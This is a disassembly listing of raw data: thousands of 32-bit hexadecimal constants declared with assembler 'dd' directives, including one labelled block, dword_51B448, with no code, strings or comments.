		dd 60A30DF7h, 0A909282Dh, 80A6BC0Bh, 24720833h,	94C005Ch
		dd 0DA53830Ah, 0B500F45Bh, 48AE37E0h, 1DB3B81Eh, 407E22C0h
		dd 0D5BD4068h, 0AAC16D0Ah, 8507E470h, 5E8870h, 0B71374Dh
		dd 470F50F9h, 0C6CE200h, 2B875101h, 0C5A00F0Ah,	4A29B644h
		dd 0E0862383h, 304D4E0h, 93B8D105h, 24D7C8F5h, 0C2D24920h
		dd 0AEE00C7h, 2E804424h, 6148B67Ah, 0A85B1C68h,	4C3BCE40h
		dd 147F32EDh, 0BA785E90h, 14A63E00h, 74918638h,	0DE6A8F0Eh
		dd 0F176B9Bh, 0FD50E7F0h, 349983h, 23F3A011h, 2053FC3Fh
		dd 670B0094h, 4C8020CEh, 37FE18h, 48F3A83Fh, 0CC8A8D66h
		dd 0CD58AD0Eh, 7A3C3FA6h, 3037FB0Dh, 0C4E0C006h, 53700CADh
		dd 0FB49CDC0h, 5CCC2E00h, 3CCB867Ch, 0F3E20097h, 6D2F91Fh
		dd 7A0071BCh, 2CD9FE0Ah, 69DDDB4h, 8E43BDBAh, 0F100409Ah
		dd 0E0C00B55h, 5041C458h, 721F0CB1h, 49B9C098h,	1A3639B6h
		dd 0D00ED6EEh, 605341DCh, 4BBA8E21h, 0A44800ACh, 10F7D285h
		dd 9D035C1Fh, 0B2CD4772h, 0DA26EB55h, 118C803Ch, 2EBC688h
		dd 0B15D5E1Fh, 90E83D4Dh
		dd 817C6534h, 5B0098F6h, 6BD3E3F0h, 0F847F5E5h,	0D2570762h
		dd 80F7D4B2h, 0EE5F5835h, 0A0E9C734h, 62CA80BBh, 6FF2F3AEh
		dd 869FF8A1h, 0FB723F38h, 96B72750h, 0BA915C00h, 0AF0ED4ADh
		dd 56393FC1h, 89770000h, 0DDAACB4Ah, 0BF0D4018h, 0DCA8A591h
		dd 0F4BA33Ch, 1AB93F6h,	0A6279FE6h, 35E12880h, 78CEAE22h
		dd 36AADC0Eh, 0E6057F3Eh, 24E3615Dh, 7E4CD583h,	0C9028388h
		dd 0D905D8C2h, 52340072h, 9C009F8Ch, 48C19986h,	0A4B778Ah
		dd 675F8E73h, 0C23068Ch, 0F3E330DAh, 0F27D6C00h, 0FC205401h
		dd 0F445035Dh, 0C22BD48h, 2880B02Ah, 0B6957019h, 0C0434719h
		dd 57990E9Bh, 0A9B92B61h, 0F54B3049h, 367C60A6h, 0A8C3687Dh
		dd 0A49F8AD6h, 4FBD4A41h, 5390480Dh, 0F403F379h, 7F42AE54h
		dd 2425F349h, 142CA579h, 2B9E7C55h, 33711E84h, 22E11179h
		dd 84F1A079h, 0D3062742h, 40F6F31Eh, 8D5A3205h,	48447A9Fh
		dd 363C1B66h, 49837330h, 3077825Dh, 0C4388939h,	180025C9h
		dd 7D8F66F1h, 30169CDAh, 0C1A9D8BDh, 2F505B39h,	54003F18h
		dd 0CF4A945Ch, 621ACD76h, 2E9D5924h, 70601C8Eh,	48FE8999h
		dd 0CC7CF529h, 1BF0F107h, 0D811ECh, 4554CE81h, 0DD51B2A0h
		dd 0DEBCCC54h, 0D001F078h, 890158B7h, 31D83408h, 35478D7h
		dd 0CBC4C89Ah, 1000DC9Bh, 5092B369h, 3C52016h, 0F1421355h
		dd 69407DCBh, 0C1C071DCh, 868C4C48h, 0E4611445h, 789BA097h
		dd 0CBC8B3B8h, 3005B49h, 0BABE1BA2h, 0EA990CEBh, 83A0F0BBh
		dd 0FEEF6A06h, 0A10D18Bh, 5E691B35h, 5B1D0084h,	4355CFC9h
		dd 0A48CA00h, 1F963EF3h, 1A60C780h, 0E21598D4h,	6BCCF040h
		dd 94DC21D5h, 9109D644h, 90671684h, 0D4713420h,	0F1D95109h
		dd 0AC64281Eh, 432AF911h, 410C654h, 0C94420B1h,	415926BFh
		dd 1C480950h, 0DA5E4820h, 0C6EACFB0h, 0B1309F30h, 24360D3Eh
		dd 9538AA14h, 0A080C76h, 2D88A9B0h, 0C6C24289h,	0EB17EA02h
		dd 4A04268h, 1B4DA1FEh,	25CB5F0h, 0A00C9FF0h, 78488D26h
		dd 29C077B7h, 0C71CCE52h, 8AA20081h, 92E7671Dh,	12004DBAh
		dd 4A3C1B14h, 7DAA4299h, 0DD68090Eh, 0D080CADAh, 0A28C50Dh
		dd 6FA749C7h, 1FE006A7h, 7AB8F6DCh, 6DB0009Ch, 0C42F1292h
		dd 7900FAB4h, 80F86BD5h, 9AE24E5h, 82DDF297h, 0BB1D00Eh
		dd 226B73B1h, 2076B7B4h, 0DE9B6EAEh, 8024C639h,	1DD3D142h
		dd 0D2B041h, 67855C6Ah,	105BBB55h, 0EA26D890h, 4080180Fh
		dd 204BEC0Ah, 5ABB00CCh, 0D68E9552h, 800489C4h,	6F1AE2D4h
		dd 0E47325C0h, 0F06E0260h, 6282457Eh, 4844D062h, 4A46B117h
		dd 4C206C59h, 0BAFCD460h, 0A90E6044h, 7EFDC9B3h, 0EBD6A200h
		dd 0B07B6A26h, 0C2F326CBh, 0C837020Ch, 622A148h, 0C8E4ECh
		dd 2C022B32h, 5CB8E3D4h, 5FB051C0h, 70620671h, 0C0EC186Ch
		dd 0B1BD5E5Bh, 58484B50h, 0E1D2C90Eh, 0F531627Fh, 0EE8C0E8h
		dd 245E023Ah, 0BEC752E4h, 9C4BB090h, 0B45181C3h, 30B0ED27h
		dd 0E8810020h, 0BD11165Ah, 0ED0045A2h, 9D6B0155h, 138E306h
		dd 0FBB1BA7Eh, 0CBF3C4E7h, 0A9740CD3h, 40E04224h, 61EE5E8Ch
		dd 652C07ECh, 10E72E4Ch, 315D736Dh, 53EE9600h, 8A91554Fh
		dd 4BAE0564h, 8CB740Fh,	9D80D920h, 4627658Bh, 710E0177h
		dd 0E0C96DE4h, 7901EFB7h, 0E5B160E7h, 48BA3C8Eh, 40C851E8h
		dd 0F6B13518h, 421DA4Ah, 5F2F1DC4h, 0FC42145Ch,	0C6E151C2h
		dd 0BF2B94A3h, 3DF840A4h, 1C71E2F5h, 13CA597h, 0B8E1D554h
		dd 1C498008h, 4EB5FC66h, 0A6AD0113h, 0FE83C8DAh, 0D40F46Ah
		dd 0EFD46900h, 1B6FEA1Fh, 9713127Bh, 5D242054h,	81CA5C02h
		dd 0A664D4CCh, 785A8C22h, 38401C4Bh, 0D8F977A4h, 0A72D3EE1h
		dd 2319C930h, 7CE833A1h, 5860D400h, 368C7BF9h, 0D0F8A3E7h
		dd 16FD91Bh, 0B07FCA69h, 62B8E26Ch, 8CD307C8h, 0B6533EC0h
		dd 174A9023h, 53F127Bh,	0B128424Dh, 0A0A93670h,	0A3EA2418h
		dd 0CD820F00h, 9FCA5905h, 0C3A400E7h, 0DA03D7C5h, 0F2034D2Ah
		dd 6AAF347Eh, 22410018h, 9AC8D207h, 0E601C531h,	0CDBFD357h
		dd 598179B7h, 0E14C8862h, 37E8FBE2h, 3009DFDh, 853269D4h
		dd 29DCEBE6h, 8A06502h,	0B8A2CA8Fh, 8E014D00h, 13818388h
		dd 404096D3h, 0DAAE918Ch, 803C2648h, 0C8BF76EDh, 2CE717BEh
		dd 69C50072h, 0D2563DECh, 0F7502B98h, 10FB70CCh, 949F0F7Eh
		dd 55EF826Ch, 0F8451EDCh, 449C82Eh, 0D840BE74h,	0FC0B4BE9h
		dd 0E3506F0Dh, 0D85119BFh, 8208C88Bh, 44B725h, 0E3C63BDCh
		dd 81D4008Ah, 36C85DA6h, 0E076D84h, 0AA5E76B5h,	0BF6A403Fh
		dd 1E48476Ch, 58528FEh,	0E128174h, 181B684h, 30AACF23h
		dd 0A14D2BE4h, 0E5CD0000h, 0FF1EEACAh, 7873007Ah, 0A9AB213Dh
		dd 0EB074E7Ch, 46CC5868h, 609DC7D2h, 51F8517Ch,	6C2654C1h
		dd 12A38902h, 0E4A053B7h, 0E69AFB5Ah, 49219400h, 734BA797h
		dd 48AC609Dh, 5185837Eh, 854C9B39h, 6AED7FC8h, 0F1AEA0D0h
		dd 88EF7B2Dh, 5E01FA94h, 0BBF63CB2h, 4C244353h,	0DC4A82Ch
		dd 724DEEE1h, 0A4D500B3h, 694571D3h, 5D098D43h,	85EBE71Ch
		dd 0FC231A94h, 8145F8DCh, 0F799008Bh, 0D1D53C59h, 0FBE257EAh
		dd 1FC4BF13h, 30DF1820h, 26377866h, 40A46A33h, 0FB8DBD3Eh
		dd 0C01B5803h, 32131FCDh, 0DF393808h, 15FDD380h, 5524D3D7h
		dd 0B540B8B6h, 2041A5h,	46A0C630h, 8E7285E5h, 1A21D500h
		dd 0E76BD47Eh, 0D7933D1Dh, 24ED30F8h, 0C61744E9h, 0FC978F02h
		dd 0A7F3EF25h, 42E07E90h, 0CAB598Dh, 567AA4A8h,	1D71F1E9h
		dd 0FC83C228h, 1AC4C30Ch, 74D5897Fh, 0F3405ADh,	90BE2481h
		dd 428EE46Ch, 8185E125h, 1DD432C0h, 0CD80D500h,	4058F630h
		dd 0CD8372Dh, 5C0F5A23h, 4607D538h, 675DE83Ch, 95D02D80h
		dd 5449C1FDh, 20510E6Ch, 0B50ABDA9h, 18D28AB1h,	0C040E347h
		dd 25C79780h, 58E0CE8Bh, 211D69DDh, 0ACC09673h,	727CFA7Ah
		dd 484B0427h, 86C3509Dh, 0D74C8448h, 0A5007BF4h, 8F2DDD5Bh
		dd 2CE3ED87h, 4E46302h,	96CB5FCAh, 1A30B8D0h, 0B544F1ACh
		dd 91BD28DEh, 0E89F459Ch, 0F158951h, 0F986402h,	3333642h
		dd 0C0CA874Fh, 148D7EBh, 0A347E55Ah, 0EBC1E61Eh, 721BC8E1h
		dd 81D13DCCh, 0E03F609Ch, 58E81FF3h, 40BEE8F2h,	2D03309Dh
		dd 1DC5279Ch, 8A690651h, 0D0B38377h, 3E53E0Ch, 0F880B8C9h
		dd 18EE617Fh, 3C2BCB8Ch, 7EB31264h, 94081013h, 0B136C3F6h
		dd 180C8E99h, 23228801h, 0A9E4B103h, 28EF3ECCh,	44B6F9h
		dd 25AAE0D1h, 9F9C7836h, 48BADE3Eh, 8D7E0324h, 60EEABCBh
		dd 0E29E3998h, 0E63F73D8h, 1BC61BD6h, 0DC200E96h, 0AA047F4Ah
		dd 4FD0C0C1h, 83E0C0D7h, 0F5BDEB12h, 0C02FF848h, 4BBC5C50h
		dd 52F40648h, 0F8474AF8h, 2B0F603h, 1C5141Bh, 0D22B41BEh
		dd 0EB54C960h, 344020C2h, 65008880h, 93FF3EFDh,	2BF18Ch
		dd 0FAA18337h, 0D957AC0Ch, 7DA4C200h, 7935A9AEh, 70DB0089h
		dd 1342222Ah, 7C00A691h, 6225022Eh, 3F3A5148h, 0BF007832h
		dd 0ED04B090h, 7C07936Dh, 2140143Dh, 4B3F58A0h,	0AE7000FFh
		dd 0E21F4742h, 0D1002E84h, 24CE1E6Bh, 3D465BB0h, 53BDC638h
		dd 2D9FF700h, 13C0175Ch, 0D5EFBF00h, 382F7A4Eh,	0DD07002Ch
		dd 742804C7h, 0C81F776Bh, 408710EBh, 6027B003h,	0A6E54347h
		dd 2914F681h, 27C4D8h, 0AC1B26E6h, 1783202Bh, 7C34A601h
		dd 45D0DBB8h, 5A2800C7h, 0CDE9598Fh, 7600474Ch,	4AA039B3h
		dd 3955E28h, 9A91BF36h
		dd 3E98AC54h, 93003FB1h, 42943088h, 0EDC292Eh, 53411C09h
		dd 0CC59A019h, 80C0C5DDh, 5FB52254h, 0B1F40045h, 0EC909DD4h
		dd 3006152h, 382179DDh,	301BA55Dh, 8FE18093h, 0DF182FB5h
		dd 4D10FF34h, 371F3CEBh, 0DAD4AB80h, 7819FC27h,	2C6FB800h
		dd 28BB5EDDh, 0C32900FDh, 77E2D83Eh, 30AB774h, 0B5EA6886h
		dd 0FA14A400h, 3D2548F6h, 7583E481h, 8B4EB48Eh,	0B540F4B2h
		dd 3E31E233h, 812309F6h, 0C2EB2080h, 9DE001EFh,	0E713DE00h
		dd 793C96F0h, 0E8141836h, 0E53249BDh, 20713E00h, 311D80E7h
		dd 5D4008Fh, 2B0E36F7h,	3F017A79h, 0AFDCAB73h, 0B0E0A075h
		dd 2EF04Eh, 0A9090A8Dh,	1741EDBh, 3208C463h, 4B2007AFh
		dd 0B0D30A8Ah, 3B531114h, 0DA516100h, 0EBB482CBh, 58156C1Ah
		dd 0C4E86888h, 113F3630h, 3BF922Eh, 1A04C88Ah, 1ED3CF03h
		dd 0F7E834A1h, 0BA7AB0B0h, 385E3700h, 0E3CD0E75h, 74D30983h
		dd 0AB00C91Dh, 0F873922Fh, 65F094EBh, 8C3BAC30h, 2B296600h
		dd 0AB64F468h, 6C731883h, 37A25077h, 0B9E8E51Eh, 0F8C7A3DCh
		dd 1DB08946h, 79E6DEA5h, 8C9E0042h, 3E4A53FAh, 4C00FB80h
		dd 6434DA40h, 312696h, 36900471h, 4D68B016h, 55F58200h
		dd 19A9661Eh, 0BF14092Eh, 0E474EFD5h, 0B1C01F1Ch, 25A3F859h
		dd 0A92C00CCh, 0BA61A757h, 0D032AA6Ch, 0B58110FCh, 221C8604h
		dd 6607100Bh, 0B3AD6D13h, 7EE3807h, 4EB00633h, 0EFF421h
		dd 0AAC07C5Ch, 646F2FA3h, 8629A00h, 0F13DDBF6h,	0FAAE0038h
		dd 95EA1102h, 8B98B80Ah, 92F68101h, 938E78D2h, 421A006Ah
		dd 119139ACh, 4638A100h, 0B626D7C7h, 0BED30390h, 3130A7B2h
		dd 0AB1F87F0h, 4F9B8500h, 6B595C33h, 63E33FEAh,	0A6D50580h
		dd 0D25D10AFh, 699E4E00h, 0FC7AB57Bh, 400C01F6h, 0A6B982F3h
		dd 256AC460h, 9D001EFAh, 91B1766Fh, 16669B0h, 0F1AE1D0h
		dd 0FC953437h, 0D9003E55h, 4DC546AEh, 0E0BE46Ah, 2768F8B1h
		dd 0B6AFED20h, 1E018B54h, 0BC706762h, 0E93086ADh, 7F71007Ch
		dd 5B3D739Eh, 0AE00063Bh, 35D63ADAh, 4C2F72FAh,	0F7FFFC2h
		dd 0E6E1AF20h, 0C01CC387h, 18629719h, 3E72FB00h, 0C471D921h
		dd 25EC40h, 0DB96E1B9h,	460DFF91h, 4A0026F8h, 0A211E076h
		dd 0FCA32592h, 12EA242Bh, 70F28004h, 52890799h,	51A83100h
		dd 0AEC6B8CEh, 8CAC000Fh, 0CD38D93Dh, 5077FD81h, 0A496E43Fh
		dd 9E800852h, 0CFFBB2F2h, 0F7450E21h, 0D02FD325h, 67D8ECE0h
		dd 532C32F6h, 0C400B6A1h, 0CFF20BFCh, 0E6BC0F23h, 0D4000350h
		dd 0D761C114h, 0B5AD4Ch, 2A443663h, 1656E64h, 0EEAE1D6Dh
		dd 2046213Ah, 0A0067C0h, 0CE294C47h, 3077E1D4h,	0F79C51FBh
		dd 0B800D52Ah, 61E68B91h, 0C4A2E05h, 2380C24Fh,	0AE20B1B8h
		dd 0F2AD01D2h, 0F627AB7Dh, 3023061h, 0CFE00F01h, 5A22DABDh
		dd 346B8F0h, 1E5D4132h,	0F580E560h, 8900D418h, 6DAA72E4h
		dd 4D7306h, 11A6E3C8h, 1A5FB64Fh, 8F293300h, 0D76FF0BBh
		dd 2B6A0024h, 39F17D09h, 94739660h, 1FB9B48h, 83A1EA16h
		dd 9990498Fh, 75D4807Eh, 0F109AAh, 6B1C9532h, 7450EEE0h
		dd 0A13EFC01h, 0D1E6FEB5h, 1F0960CCh, 805D3103h, 946104E4h
		dd 77F6EC25h, 833ECA00h, 607F5597h, 2AF0A034h, 0AE15284Bh
		dd 5EE2D4h, 7E3AF2ACh, 0D239CEC4h, 0EE4FE50h, 27DBE90Eh
		dd 60C0812Ah, 348308h, 0FBDF1FF6h, 0C9768080h, 305109D8h
		dd 0E6354C07h, 0E8433EBFh, 0C7EBF0CDh, 992809E2h, 0F8007B3Ah
		dd 4A23B1ACh, 0AD259500h, 0D35AEB8Dh, 0C27400DEh, 6182977Ch
		dd 5E02A730h, 0E5679E09h, 8470406Eh, 0F877601Eh, 0EB15B241h
		dd 81A47800h, 7D191D39h, 122F06A8h, 3040F0EAh, 0A19BC300h
		dd 9D6EFC1Ch, 42E693h, 0C50C6623h, 5448D80h, 8B693Ch, 0B1A3F31Fh
		dd 38BB6F49h, 0B50784FDh, 20E23C72h, 1F0F09EDh,	0DDC13200h
		dd 0BDF748FBh, 0EB5300C0h, 0EF7324CFh, 0BE0030AFh, 0DD757F1Dh
		dd 3BC4524Ah, 5F0259FAh, 133EB987h, 0F8D9FAE1h,	86E071C0h
		dd 0C4D0BE00h, 0FD85174Bh, 0EDBF0088h, 0D32B9298h, 84022150h
		dd 63106741h, 80B44358h, 6EEFFEh, 9F1DA029h, 689BF416h
		dd 0D089F824h, 88998500h, 766AB424h, 94E700A2h,	3F4C6DECh
		dd 0EE7B11CEh, 5D24D002h, 8027BE31h, 939E56D8h,	60980Ah
		dd 0A43B07D7h, 0F46CBCF3h, 0A5BBF614h, 0B8483091h, 6B2A2Dh
		dd 31AAB335h, 5DE898A9h, 6F56602h, 405839DEh, 0EE7F8CD4h
		dd 191E00FFh, 92F77430h, 0AC0E0BF8h, 0A32141B3h, 0B0CF20A0h
		dd 3D18B29h, 0F554C405h, 7CE8B68Dh, 300BF13h, 70C5655h
		dd 7E1A4AF9h, 0FC530028h, 270BDDAh, 420E753Fh, 42DC6AB1h
		dd 68ED8A3Eh, 511C6464h, 0D9C4BC96h, 2494A8EFh,	804B1C49h
		dd 911076Eh, 96800FE0h,	70669BF3h, 0B491EE03h, 90320B53h
		dd 764A7425h, 0D1A80033h, 61D7939Bh, 3A00215Eh,	53071C4Ch
		dd 9AA4E717h, 0F69E058Ch, 4067EE49h, 51FAE4D4h,	3E004E33h
		dd 7FE50474h, 30F57D1Bh, 35901E56h, 271E7648h, 0F6C06206h
		dd 63174736h, 6AD6007Eh, 2F94E33Ah, 5D00EB91h, 0D21455DDh
		dd 0EFF5F98h, 0B4507F39h, 0D0DF5A67h, 0B2FE2183h, 96FC350Ch
		dd 1F62F431h, 41CD3211h, 92AD8FA7h, 879DE017h, 7B1B0903h
		dd 0B83DE014h, 7FB47C49h, 0BD7A3Bh, 9327F328h, 9ACF16Ch
		dd 0C469EF00h, 0C61DC275h, 0B34D0EFAh, 448E5CE9h, 94A14C00h
		dd 14007C21h, 4FFCC276h, 8FBFAEh, 0BEA087DEh, 0F9DF85E2h
		dd 0D7367D03h, 90118039h, 0E5444Eh, 789F3273h, 2F1E1819h
		dd 0A2625Ch, 4BEC09B7h,	7935A29h, 0BAB838C3h, 1B6870E9h
		dd 54000311h, 0CC466C1Dh, 0D8D7C1h, 0EA67FDE3h,	32A04D2Bh
		dd 0C03DDE00h, 9BD92458h, 4B80Bh, 3C92454Bh, 0C9228191h
		dd 0A6CC1A00h, 730234E5h, 0AA830023h, 0D6AC13C4h, 0F316E027h
		dd 6C405C9Ch, 0DC7A2A32h, 1C1CF458h, 60A869h, 6541C913h
		dd 500500Dh, 2C7568FBh,	0E2D4CEFh, 0C4AC53F0h, 0BC8D30E0h
		dd 3B3F3D16h, 0BDC811Bh, 0F8201F48h, 617AD7h, 0C71CCC9h
		dd 6C220533h, 0D0FB3F2Fh, 79AFECEh, 5E7ADA6Bh, 0D0CFD4D7h
		dd 0C5A4EBCh, 18142A03h, 0A7841F74h, 0A3B74AA0h, 0F6AB0072h
		dd 7B222E7Ah, 541E6797h, 7EC0D30Eh, 0D84260C8h,	0C091C4Ch
		dd 525562Ch, 0D7852DB7h, 539531ECh, 8968BF7Bh, 484018CCh
		dd 0FB9D414h, 50F6071h,	4A04C54h, 0D9C00A33h, 5D2DF680h
		dd 7AFD74ADh, 0CF6E1F5Eh, 0C9B9C047h, 44142B0Bh, 80910C39h
		dd 0FD74F19Fh, 39855398h, 1687CE07h, 10906FB5h,	0DD39D4Bh
		dd 0BE883200h, 0A33F75F3h, 1235005Dh, 7D169373h, 1B005213h
		dd 0CB4C54ADh, 1607F5BAh, 0D3BD7h, 0D20CE4A4h, 8F0737B8h
		dd 0C453AF4Ah, 39DF8B40h, 20444C57h, 0C2D29900h, 1210ED6Fh
		dd 0FAE7CB07h, 8A50E1D1h, 6C9222h, 1366E68Ch, 1E112C83h
		dd 7B82D417h, 3F2A8020h, 0D784A180h, 922E9D0h, 493C4CD5h
		dd 0C7F39287h, 5D698382h, 5C8A3007h, 0BCAA27D7h, 6D9F9C80h
		dd 194C022Bh, 97F6C0Eh,	0BC2180A1h, 5D129148h, 0CBB10A90h
		dd 11245837h, 9145819Dh, 0FD502F9h, 0BE88900Ch,	9A91004Eh
		dd 767CB47Ah, 60002F55h, 0D168D3A2h, 8B20F0h, 1DCD0878h
		dd 1575E349h, 57E080F9h, 9F38F507h, 1BF4032Bh, 258C540Ch
		dd 104883A2h, 0C50F3DEEh, 0DDEDC0DEh, 985D4582h, 4D2080D9h
		dd 27A2799h, 7E557002h,	0F9C0FFD8h, 0DF735368h,	2C569105h
		dd 4048B28Bh
dword_51B448	dd 3871C061h, 0D4211F73h, 999125h, 0B5C539EAh, 86BEDDh
		dd 0D32EECC0h, 6CFFA174h, 20A5470Ah, 0AABB84AAh, 2401DC1Eh
		dd 0F9E8DCCFh, 0FB70844Bh, 44A1277h, 85700542h,	10442E6Bh
		dd 5BC0E340h, 5F048189h, 9E2A69C6h, 5E1E00A9h, 213A9363h
		dd 6703BB40h, 0D77E614Fh, 3E99A8DAh, 605301DBh,	7A35D1E0h
		dd 0E9202095h, 0D604D700h, 643FD271h, 58A66001h, 6B0CD537h
		dd 2C3E700Fh, 0CCEDE785h, 21FB46h, 4A0C805Dh, 51CA2749h
		dd 0B372470Fh, 6B77C076h, 0ECAD4FFEh, 2DEF078Bh, 0A0FAC597h
		dd 9C9BFCCEh, 0D20675E0h, 0C7CCB91h, 8B6702C8h,	1E248003h
		dd 0EC6CC9C0h, 0A9CE0B00h, 78F7D8CCh, 7F933013h, 0AE9DA720h
		dd 97C14714h, 0B76DE120h, 0D200D118h, 0D9A7DD43h, 9C2D8091h
		dd 279A8138h, 8E6FA2B6h, 359D9930h, 85BF13A8h, 87B34041h
		dd 0E1E89AE5h, 0A9C13C52h, 1C259D03h, 20CFC474h, 0EFAD238Ch
		dd 0B5062A71h, 0A9D5E67Fh, 19DCA049h, 0BA71C058h, 8BE610ABh
		dd 57887350h, 6E460490h, 4438F602h, 5D319C1Fh, 0C53EED10h
		dd 7C9ABA03h, 0DA68099h, 0F0078269h, 0D274F0D9h, 18851D0h
		dd 0CE0A95DCh, 89A05E54h, 47F421F8h, 740CDC80h,	86CCE670h
		dd 92313360h, 0DB0CC3h,	0DFE3AFEEh, 4BBF8807h, 0EF4AA3Bh
		dd 4029E71Dh, 0C151BDF3h, 27921DE9h, 0C471154Eh, 0E34BC705h
		dd 6A742072h, 1F1240C1h, 0FC2C183Ch, 38720B11h,	6B0070A5h
		dd 78806759h, 2AD99163h, 824900D3h, 1ACC0764h, 75181D06h
		dd 2B88E8E5h, 545230B8h, 92784CC1h, 9E25183Bh, 9072955Bh
		dd 38F8306Ch, 882B9E34h, 9C964848h, 4BC500E7h, 3FFEFD50h
		dd 8E8A9100h, 0D0037A55h, 18F00468h, 0D07EB323h, 2DB82634h
		dd 8D668B0Fh, 0F32900C0h, 18B9C80Bh, 99517F80h,	74B15358h
		dd 2D7CEF00h, 0BAAA2C0h, 8E4DA517h, 0D79918A2h,	9CBD7880h
		dd 4724B320h, 20287844h, 6B016F46h, 4429BDC4h, 14010B18h
		dd 988B3873h, 4440D9D4h, 10242E1Ch, 0CBC0D09Ch,	679D86Dh
		dd 0EC041901h, 8428F4A8h, 3E14424h, 62109456h, 48C88691h
		dd 130151BFh, 8CD877A1h, 84501B64h, 2DF9845h, 962B2765h
		dd 1C407028h, 4928C323h, 0AF00A807h, 2C995DD7h,	505F78A5h
		dd 54F40Bh, 5A505342h, 0AFEC8AE4h, 850011F2h, 201E234Ah
		dd 0D30532DBh, 5309AB40h, 840FC4h, 0F81B5114h, 9A8E7B2Ch
		dd 8647E480h, 610D0F02h, 19CCEE70h, 0C29710F0h,	114F000Ch
		dd 0D872E06Dh, 832CDBC6h, 0DC895033h, 81249131h, 0DE5A3410h
		dd 94794Ch, 0D9A5B17Fh,	0CC6F2B0h, 0CECC22BCh, 2CEC3229h
		dd 0B6543107h, 0C3104EBBh, 26053461h, 5ED47027h, 80A76421h
		dd 74B8EF3Dh, 9B2CC82Eh, 69176E38h, 298700FBh, 0C15C8F23h
		dd 4100F8B3h, 3C665D91h, 4280850Eh, 9CF5914Bh, 0F6600BFh
		dd 0FDD7A8BBh, 99C0FC51h, 8E97A9ACh, 0B7400DDh,	23175E61h
		dd 2D011552h, 0AA8C75CAh, 1867B1F2h, 11E5DFB0h,	43B9C588h
		dd 2022F40Ah, 18603A94h, 1A48DF8Eh, 0B83E2B0Ch,	5A0CD603h
		dd 19DBA26Fh, 9C2180FEh, 0D4AC0CDDh, 0AC700F8h,	0C9D5E7E3h
		dd 96004D69h, 1352B37Ch, 5645410h, 0CA182D39h, 0DEFC437Dh
		dd 2AB87EFAh, 0B102CF31h, 0DAD90B0Fh, 0DB36C080h, 0F5EF0A91h
		dd 3DDCEC71h, 9F1118FFh, 27DDEA73h, 57A9A40Ah, 190528CCh
		dd 0EFA6D4h, 3F822A6Ch,	53019B95h, 82289D0h, 78EC26C1h
		dd 296100DAh, 0D330D573h, 1E2C4C90h, 0B6638047h, 7A00D7AEh
		dd 7C6FD346h, 0D8F200CAh, 7277FB04h, 5D18093Fh,	0A431801Fh
		dd 48D276D3h, 27008D98h, 34794FF3h, 59494742h, 0A63A004Ch
		dd 0ED4E4A2Bh, 50B862h,	27702FBFh, 93FF84E0h, 5D232D00h
		dd 299F1705h, 8240032Ah, 0F5B6485Fh, 6346F4F0h,	7F9AFE3Bh
		dd 5411A498h, 2A00FB55h, 5941E4DEh, 1309C7DAh, 2182D699h
		dd 51C126C8h, 0BE1DC42Dh, 3FD6E44Fh, 1C96CD80h,	46A90BBDh
		dd 86CBF112h, 0FFB87840h, 4E59BFh, 0E09D8B17h, 0FCDB3F89h
		dd 0B5D17C04h, 1A80AE51h, 8BE20Bh, 0B8E8F6C7h, 0B1C4D5A8h
		dd 72AACB3Dh, 0E12492Eh, 9BB7C805h, 0FE1A046Eh,	41E48E4h
		dd 0F08DC3Eh, 8014C122h, 1065386Fh, 0F1AB8893h,	0E7A78C08h
		dd 0D23F0CC8h, 8C64639h, 1538FBA2h, 20778FBFh, 0E6981860h
		dd 6CFA8DDAh, 624AF719h, 9B247D1h, 18829050h, 4C887669h
		dd 14793334h, 1C92192Ah, 77A36718h, 0F9270C11h,	0E1B45059h
		dd 0BF602218h, 411089Ah, 0F0D8F014h, 44A127F8h,	0A1C999A3h
		dd 1C4CE509h, 5E52333Fh, 22A56470h, 1482BB0Ch, 4C86A85Fh
		dd 0FF53207Eh, 50A57840h, 25442780h, 0EC02133Dh, 334E0A2Dh
		dd 98700B9Eh, 84A608F5h, 9C516A04h, 0FC106BF8h,	0EB040BADh
		dd 79FF070Ch, 0AC30FD10h, 0A074199Ah, 8FC7029Dh, 6E17BACCh
		dd 0D8E2C1C0h, 2620E350h, 4659201h, 6F9C47DBh, 193D6024h
		dd 3875A82Dh, 0AD698C0Dh, 0E2645986h, 48C760ECh, 0F49BD314h
		dd 1B3E800Bh, 7F37012Eh, 488FAD06h, 847C0FFEh, 15D357h
		dd 0EE1FDBC9h, 18A0FA5Dh, 6996DDE2h, 9C0090E4h,	4F1B3303h
		dd 0A910D1h, 1AA2F90Bh,	0FF12D901h, 0D8E9D4E0h,	0C83961AFh
		dd 0F0D87A4h, 6236657Fh, 0DBC007A9h, 41CD8FF9h,	0E0C3152Eh
		dd 0AD0C4AFBh, 49E4FDEEh, 4009C08Fh, 63A15515h,	53B27900h
		dd 6C28D1EBh, 0F8B00C6h, 0A5077D69h, 580EC760h,	802CE5F6h
		dd 0B383AAD9h, 1851313Dh, 0C021E4D9h, 0B0A8FA08h, 12E6B3C5h
		dd 1A2E8C0h, 0A9A9B98h,	26F9851Bh, 7FAD80A4h, 6929FFC1h
		dd 0A59C1118h, 0C1C95A0h, 0EBF9826Ah, 40A63B1h,	60D88C85h
		dd 80D7780Fh, 77E576F6h, 111F8A6h, 86FEA88Eh, 91201B40h
		dd 0E166F830h, 8F6080Fh, 4348C87Bh, 257E0BD0h, 6D32800Eh
		dd 6BA2B03h, 929C581Ah,	0D2821D2h, 0C43CB001h, 40A16104h
		dd 0B4444AF9h, 41ADA081h, 1CAAD187h, 0F669513Fh, 0E5F8EF82h
		dd 9C725B47h, 48779034h, 0C068A873h, 78334FFDh,	2262EAC8h
		dd 0AD3092ABh, 73F6591Bh, 174914D6h, 42A0B854h,	4484C45Ch
		dd 0C60F05E5h, 0C01B7F23h, 485CFECCh, 0F6B8008Ah, 0D084ACD1h
		dd 0E100F338h, 1923BB67h, 0C0870F6Eh, 5F48C759h, 2B014DEDh
		dd 6AB373E3h, 0A9F3CFF6h, 3EECBB68h, 8D7F3EE8h,	99236B84h
		dd 1E14802Dh, 2C0011FFh, 0D6A2BB5Bh, 12E0C739h,	89AAA0Fh
		dd 4D827B50h, 0C95061F7h, 9CF8092Ch, 81BC9241h,	611115B8h
		dd 28306480h, 58A32F09h, 0DC12ABh, 7DA964D8h, 2B511405h
		dd 0C6A18C27h, 8DFB0076h, 0A4ED41F3h, 80E0C51h,	104756E0h
		dd 73C1A582h, 4EE23F8Ch, 0A612C30h, 52CA874h, 0C59B202Bh
		dd 0F64C049Dh, 0BC188191h, 1460428Fh, 9AF20F01h, 28055B00h
		dd 0E0E35A00h, 1150C969h, 0FA9177Eh, 108114FFh,	0FE66C40h
